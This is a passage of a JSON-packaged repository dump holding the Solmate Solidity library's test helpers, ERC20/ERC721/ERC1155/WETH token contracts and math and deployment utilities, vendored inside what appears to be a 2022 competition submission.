    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\n\ncontract ERC20User {\n    ERC20 token;\n\n    constructor(ERC20 _token) {\n        token = _token;\n    }\n\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\n        return token.approve(spender, amount);\n    }\n\n    function transfer(address to, uint256 amount) public virtual returns (bool) {\n        return token.transfer(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        return token.transferFrom(from, to, amount);\n    }\n\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        return token.permit(owner, spender, value, deadline, v, r, s);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/ERC721User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC721, ERC721TokenReceiver} from \"../../../tokens/ERC721.sol\";\n\ncontract ERC721User is ERC721TokenReceiver {\n    ERC721 token;\n\n    constructor(ERC721 _token) {\n        token = _token;\n    }\n\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        return ERC721TokenReceiver.onERC721Received.selector;\n    }\n\n    function approve(address spender, uint256 tokenId) public virtual {\n        token.approve(spender, tokenId);\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        token.setApprovalForAll(operator, approved);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual {\n        token.transferFrom(from, to, tokenId);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual {\n        token.safeTransferFrom(from, to, tokenId);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory data\n    ) public {\n        token.safeTransferFrom(from, to, tokenId, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/GenericUser.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-or-later\npragma solidity >=0.8.0;\n\ncontract GenericUser {\n    function tryCall(address target, bytes memory data) public virtual returns (bool success, bytes memory returnData) {\n        (success, returnData) = target.call(data);\n    }\n\n    function call(address target, bytes memory data) public virtual returns (bytes memory returnData) {\n        bool success;\n        (success, returnData) = target.call(data);\n\n        if (!success) {\n            if (returnData.length > 0) {\n                assembly {\n                    let returnDataSize := mload(returnData)\n                    revert(add(32, returnData), returnDataSize)\n                }\n            } else {\n                revert(\"REVERTED_WITHOUT_A_MESSAGE\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/ERC1155.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Minimalist and gas efficient standard ERC1155 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)\nabstract contract ERC1155 {\n    /*///////////////////////////////////////////////////////////////\n                                EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event TransferSingle(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256 id,\n        uint256 amount\n    );\n\n    event TransferBatch(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256[] ids,\n        uint256[] amounts\n    );\n\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    event URI(string value, uint256 indexed id);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC1155 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => mapping(uint256 => uint256)) public balanceOf;\n\n    mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n    /*///////////////////////////////////////////////////////////////\n                             METADATA LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function uri(uint256 id) public view virtual returns (string memory);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC1155 ACTIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        isApprovedForAll[msg.sender][operator] = approved;\n\n        emit ApprovalForAll(msg.sender, operator, approved);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        require(msg.sender == from || isApprovedForAll[from][msg.sender], \"NOT_AUTHORIZED\");\n\n        balanceOf[from][id] -= amount;\n        balanceOf[to][id] += amount;\n\n        emit TransferSingle(msg.sender, from, to, id, amount);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==\n                    ERC1155TokenReceiver.onERC1155Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        require(msg.sender == from || isApprovedForAll[from][msg.sender], \"NOT_AUTHORIZED\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            balanceOf[from][id] -= amount;\n            balanceOf[to][id] += amount;\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, from, to, ids, amounts);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==\n                    ERC1155TokenReceiver.onERC1155BatchReceived.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function balanceOfBatch(address[] memory owners, uint256[] memory ids)\n        public\n        view\n        virtual\n        returns (uint256[] memory balances)\n    {\n        uint256 ownersLength = owners.length; // Saves MLOADs.\n\n        require(ownersLength == ids.length, \"LENGTH_MISMATCH\");\n\n        balances = new uint256[](owners.length);\n\n        // Unchecked because the only math done is incrementing\n        // the array index counter which cannot possibly overflow.\n        unchecked {\n            for (uint256 i = 0; i < ownersLength; i++) {\n                balances[i] = balanceOf[owners[i]][ids[i]];\n            }\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC165 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n        return\n            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n            interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155\n            interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal {\n        balanceOf[to][id] += amount;\n\n        emit TransferSingle(msg.sender, address(0), to, id, amount);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==\n                    ERC1155TokenReceiver.onERC1155Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _batchMint(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            balanceOf[to][ids[i]] += amounts[i];\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, address(0), to, ids, amounts);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==\n                    ERC1155TokenReceiver.onERC1155BatchReceived.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _batchBurn(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) internal {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            balanceOf[from][ids[i]] -= amounts[i];\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, from, address(0), ids, amounts);\n    }\n\n    function _burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) internal {\n        balanceOf[from][id] -= amount;\n\n        emit TransferSingle(msg.sender, from, address(0), id, amount);\n    }\n}\n\n/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)\ninterface ERC1155TokenReceiver {\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 amount,\n        bytes calldata data\n    ) external returns (bytes4);\n\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata amounts,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/ERC20.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)\n/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)\n/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.\nabstract contract ERC20 {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Transfer(address indexed from, address indexed to, uint256 amount);\n\n    event Approval(address indexed owner, address indexed spender, uint256 amount);\n\n    /*///////////////////////////////////////////////////////////////\n                             METADATA STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    string public name;\n\n    string public symbol;\n\n    uint8 public immutable decimals;\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC20 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 public totalSupply;\n\n    mapping(address => uint256) public balanceOf;\n\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    /*///////////////////////////////////////////////////////////////\n                             EIP-2612 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    bytes32 public constant PERMIT_TYPEHASH =\n        keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");\n\n    uint256 internal immutable INITIAL_CHAIN_ID;\n\n    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;\n\n    mapping(address => uint256) public nonces;\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) {\n        name = _name;\n        symbol = _symbol;\n        decimals = _decimals;\n\n        INITIAL_CHAIN_ID = block.chainid;\n        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC20 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\n        allowance[msg.sender][spender] = amount;\n\n        emit Approval(msg.sender, spender, amount);\n\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) public virtual returns (bool) {\n        balanceOf[msg.sender] -= amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(msg.sender, to, amount);\n\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.\n\n        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;\n\n        balanceOf[from] -= amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(from, to, amount);\n\n        return true;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              EIP-2612 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        require(deadline >= block.timestamp, \"PERMIT_DEADLINE_EXPIRED\");\n\n        // Unchecked because the only math done is incrementing\n        // the owner's nonce which cannot realistically overflow.\n        unchecked {\n            bytes32 digest = keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))\n                )\n            );\n\n            address recoveredAddress = ecrecover(digest, v, r, s);\n\n            require(recoveredAddress != address(0) && recoveredAddress == owner, \"INVALID_SIGNER\");\n\n            allowance[recoveredAddress][spender] = value;\n        }\n\n        emit Approval(owner, spender, value);\n    }\n\n    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {\n        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();\n    }\n\n    function computeDomainSeparator() internal view virtual returns (bytes32) {\n        return\n            keccak256(\n                abi.encode(\n                    keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"),\n                    keccak256(bytes(name)),\n                    keccak256(\"1\"),\n                    block.chainid,\n                    address(this)\n                )\n            );\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address to, uint256 amount) internal virtual {\n        totalSupply += amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(address(0), to, amount);\n    }\n\n    function _burn(address from, uint256 amount) internal virtual {\n        balanceOf[from] -= amount;\n\n        // Cannot underflow because a user's balance\n        // will never be larger than the total supply.\n        unchecked {\n            totalSupply -= amount;\n        }\n\n        emit Transfer(from, address(0), amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/ERC721.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)\n/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.\nabstract contract ERC721 {\n    /*///////////////////////////////////////////////////////////////\n                                 EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Transfer(address indexed from, address indexed to, uint256 indexed id);\n\n    event Approval(address indexed owner, address indexed spender, uint256 indexed id);\n\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    /*///////////////////////////////////////////////////////////////\n                          METADATA STORAGE/LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    string public name;\n\n    string public symbol;\n\n    function tokenURI(uint256 id) public view virtual returns (string memory);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC721 STORAGE                        \n    //////////////////////////////////////////////////////////////*/\n\n    uint256 public totalSupply;\n\n    mapping(address => uint256) public balanceOf;\n\n    mapping(uint256 => address) public ownerOf;\n\n    mapping(uint256 => address) public getApproved;\n\n    mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n    /*///////////////////////////////////////////////////////////////\n                              CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(string memory _name, string memory _symbol) {\n        name = _name;\n        symbol = _symbol;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC721 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address spender, uint256 id) public virtual {\n        address owner = ownerOf[id];\n\n        require(msg.sender == owner || isApprovedForAll[owner][msg.sender], \"NOT_AUTHORIZED\");\n\n        getApproved[id] = spender;\n\n        emit Approval(owner, spender, id);\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        isApprovedForAll[msg.sender][operator] = approved;\n\n        emit ApprovalForAll(msg.sender, operator, approved);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 id\n    ) public virtual {\n        require(from == ownerOf[id], \"WRONG_FROM\");\n\n        require(to != address(0), \"INVALID_RECIPIENT\");\n\n        require(\n            msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],\n            \"NOT_AUTHORIZED\"\n        );\n\n        // Underflow of the sender's balance is impossible because we check for\n        // ownership above and the recipient's balance can't realistically overflow.\n        unchecked {\n            balanceOf[from]--;\n\n            balanceOf[to]++;\n        }\n\n        delete getApproved[id];\n\n        ownerOf[id] = to;\n\n        emit Transfer(from, to, id);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id\n    ) public virtual {\n        transferFrom(from, to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, \"\") ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        bytes memory data\n    ) public virtual {\n        transferFrom(from, to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC165 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n        return\n            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n            interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721\n            interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address to, uint256 id) internal virtual {\n        require(to != address(0), \"INVALID_RECIPIENT\");\n\n        require(ownerOf[id] == address(0), \"ALREADY_MINTED\");\n\n        // Counter overflow is incredibly unrealistic.\n        unchecked {\n            totalSupply++;\n\n            balanceOf[to]++;\n        }\n\n        ownerOf[id] = to;\n\n        emit Transfer(address(0), to, id);\n    }\n\n    function _burn(uint256 id) internal virtual {\n        address owner = ownerOf[id];\n\n        require(ownerOf[id] != address(0), \"NOT_MINTED\");\n\n        // Ownership check above ensures no underflow.\n        unchecked {\n            totalSupply--;\n\n            balanceOf[owner]--;\n        }\n\n        delete ownerOf[id];\n\n        emit Transfer(owner, address(0), id);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL SAFE MINT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _safeMint(address to, uint256 id) internal virtual {\n        _mint(to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, \"\") ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _safeMint(\n        address to,\n        uint256 id,\n        bytes memory data\n    ) internal virtual {\n        _mint(to, id);\n\n        require(\n            to.code.length == 0 ||\n                ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==\n                ERC721TokenReceiver.onERC721Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n}\n\n/// @notice A generic interface for a contract which properly accepts ERC721 tokens.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)\ninterface ERC721TokenReceiver {\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 id,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/tokens/WETH.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"./ERC20.sol\";\n\nimport {SafeTransferLib} from \"../utils/SafeTransferLib.sol\";\n\n/// @notice Minimalist and modern Wrapped Ether implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)\n/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)\ncontract WETH is ERC20(\"Wrapped Ether\", \"WETH\", 18) {\n    using SafeTransferLib for address;\n\n    event Deposit(address indexed from, uint256 amount);\n\n    event Withdrawal(address indexed to, uint256 amount);\n\n    function deposit() public payable virtual {\n        _mint(msg.sender, msg.value);\n\n        emit Deposit(msg.sender, msg.value);\n    }\n\n    function withdraw(uint256 amount) public virtual {\n        _burn(msg.sender, amount);\n\n        emit Withdrawal(msg.sender, amount);\n\n        msg.sender.safeTransferETH(amount);\n    }\n\n    receive() external payable virtual {\n        deposit();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/Bytes32AddressLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Library for converting between addresses and bytes32 values.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)\nlibrary Bytes32AddressLib {\n    function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {\n        return address(uint160(uint256(bytesValue)));\n    }\n\n    function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {\n        return bytes32(bytes20(addressValue));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/CREATE3.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Bytes32AddressLib} from \"./Bytes32AddressLib.sol\";\n\n/// @notice Deploy to deterministic addresses without an initcode factor.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/CREATE3.sol)\n/// @author Modified from 0xSequence (https://github.com/0xSequence/create3/blob/master/contracts/Create3.sol)\nlibrary CREATE3 {\n    using Bytes32AddressLib for bytes32;\n\n    //--------------------------------------------------------------------------------//\n    // Opcode     | Opcode + Arguments    | Description      | Stack View             //\n    //--------------------------------------------------------------------------------//\n    // 0x36       |  0x36                 | CALLDATASIZE     | size                   //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 size                 //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 0 size               //\n    // 0x37       |  0x37                 | CALLDATACOPY     |                        //\n    // 0x36       |  0x36                 | CALLDATASIZE     | size                   //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 size                 //\n    // 0x34       |  0x34                 | CALLVALUE        | value 0 size           //\n    // 0xf0       |  0xf0                 | CREATE           | newContract            //\n    //--------------------------------------------------------------------------------//\n    // Opcode     | Opcode + Arguments    | Description      | Stack View             //\n    //--------------------------------------------------------------------------------//\n    // 0x67       |  0x67XXXXXXXXXXXXXXXX | PUSH8 bytecode   | bytecode               //\n    // 0x3d       |  0x3d                 | RETURNDATASIZE   | 0 bytecode             //\n    // 0x52       |  0x52                 | MSTORE           |                        //\n    // 0x60       |  0x6008               | PUSH1 08         | 8                      //\n    // 0x60       |  0x6018               | PUSH1 18         | 24 8                   //\n    // 0xf3       |  0xf3                 | RETURN           |                        //\n    //--------------------------------------------------------------------------------//\n    bytes internal constant PROXY_BYTECODE = hex\"67_36_3d_3d_37_36_3d_34_f0_3d_52_60_08_60_18_f3\";\n\n    bytes32 internal constant PROXY_BYTECODE_HASH = keccak256(PROXY_BYTECODE);\n\n    function deploy(\n        bytes32 salt,\n        bytes memory creationCode,\n        uint256 value\n    ) internal returns (address deployed) {\n        bytes memory proxyChildBytecode = PROXY_BYTECODE;\n\n        address proxy;\n        assembly {\n            // Deploy a new contract with our pre-made bytecode via CREATE2.\n            // We start 32 bytes into the code to avoid copying the byte length.\n            proxy := create2(0, add(proxyChildBytecode, 32), mload(proxyChildBytecode), salt)\n        }\n        require(proxy != address(0), \"DEPLOYMENT_FAILED\");\n\n        deployed = getDeployed(salt);\n        (bool success, ) = proxy.call{value: value}(creationCode);\n        require(success && deployed.code.length != 0, \"INITIALIZATION_FAILED\");\n    }\n\n    function getDeployed(bytes32 salt) internal view returns (address) {\n        address proxy = keccak256(\n            abi.encodePacked(\n                // Prefix:\n                bytes1(0xFF),\n                // Creator:\n                address(this),\n                // Salt:\n                salt,\n                // Bytecode hash:\n                PROXY_BYTECODE_HASH\n            )\n        ).fromLast20Bytes();\n\n        return\n            keccak256(\n                abi.encodePacked(\n                    // 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01)\n                    // 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)\n                    hex\"d6_94\",\n                    proxy,\n                    hex\"01\" // Nonce of the proxy contract (1)\n                )\n            ).fromLast20Bytes();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/FixedPointMathLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Arithmetic library with operations for fixed-point numbers.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)\nlibrary FixedPointMathLib {\n    /*///////////////////////////////////////////////////////////////\n                            COMMON BASE UNITS\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 internal constant YAD = 1e8;\n    uint256 internal constant WAD = 1e18;\n    uint256 internal constant RAY = 1e27;\n    uint256 internal constant RAD = 1e45;\n\n    /*///////////////////////////////////////////////////////////////\n                         FIXED POINT OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function fmul(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) internal pure returns (uint256 z) {\n        assembly {\n            // Store x * y in z for now.\n            z := mul(x, y)\n\n            // Equivalent to require(x == 0 || (x * y) / x == y)\n            if iszero(or(iszero(x), eq(div(z, x), y))) {\n                revert(0, 0)\n            }\n\n            // If baseUnit is zero this will return zero instead of reverting.\n            z := div(z, baseUnit)\n        }\n    }\n\n    function fdiv(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) internal pure returns (uint256 z) {\n        assembly {\n            // Store x * baseUnit in z for now.\n            z := mul(x, baseUnit)\n\n            // Equivalent to require(y != 0 && (x == 0 || (x * baseUnit) / x == baseUnit))\n            if iszero(and(iszero(iszero(y)), or(iszero(x), eq(div(z, x), baseUnit)))) {\n                revert(0, 0)\n            }\n\n            // We ensure y is not zero above, so there is never division by zero here.\n            z := div(z, y)\n        }\n    }\n\n    function fpow(\n        uint256 x,\n        uint256 n,\n        uint256 baseUnit\n    ) internal pure returns (uint256 z) {\n        assembly {\n            switch x\n            case 0 {\n                switch n\n                case 0 {\n                    // 0 ** 0 = 1\n                    z := baseUnit\n                }\n                default {\n                    // 0 ** n = 0\n                    z := 0\n                }\n            }\n            default {\n                switch mod(n, 2)\n                case 0 {\n                    // If n is even, store baseUnit in z for now.\n                    z := baseUnit\n                }\n                default {\n                    // If n is odd, store x in z for now.\n                    z := x\n                }\n\n                // Shifting right by 1 is like dividing by 2.\n                let half := shr(1, baseUnit)\n\n                for {\n                    // Shift n right by 1 before looping to halve it.\n                    n := shr(1, n)\n                } n {\n                    // Shift n right by 1 each iteration to halve it.\n                    n := shr(1, n)\n                } {\n                    // Revert immediately if x ** 2 would overflow.\n                    // Equivalent to iszero(eq(div(xx, x), x)) here.\n                    if shr(128, x) {\n                        revert(0, 0)\n                    }\n\n                    // Store x squared.\n                    let xx := mul(x, x)\n\n                    // Round to the nearest number.\n                    let xxRound := add(xx, half)\n\n                    // Revert if xx + half overflowed.\n                    if lt(xxRound, xx) {\n                        revert(0, 0)\n                    }\n\n                    // Set x to scaled xxRound.\n                    x := div(xxRound, baseUnit)\n\n                    // If n is even:\n                    if mod(n, 2) {\n                        // Compute z * x.\n                        let zx := mul(z, x)\n\n                        // If z * x overflowed:\n                        if iszero(eq(div(zx, x), z)) {\n                            // Revert if x is non-zero.\n                            if iszero(iszero(x)) {\n                                revert(0, 0)\n                            }\n                        }\n\n                        // Round to the nearest number.\n                        let zxRound := add(zx, half)\n\n                        // Revert if zx + half overflowed.\n                        if lt(zxRound, zx) {\n                            revert(0, 0)\n                        }\n\n                        // Return properly scaled zxRound.\n                        z := div(zxRound, baseUnit)\n                    }\n                }\n            }\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                        GENERAL NUMBER UTILITIES\n    //////////////////////////////////////////////////////////////*/\n\n    function sqrt(uint256 x) internal pure returns (uint256 z) {\n        assembly {\n            // Start off with z at 1.\n            z := 1\n\n            // Used below to help find a nearby power of 2.\n            let y := x\n\n            // Find the lowest power of 2 that is at least sqrt(x).\n            if iszero(lt(y, 0x100000000000000000000000000000000)) {\n                y := shr(128, y) // Like dividing by 2 ** 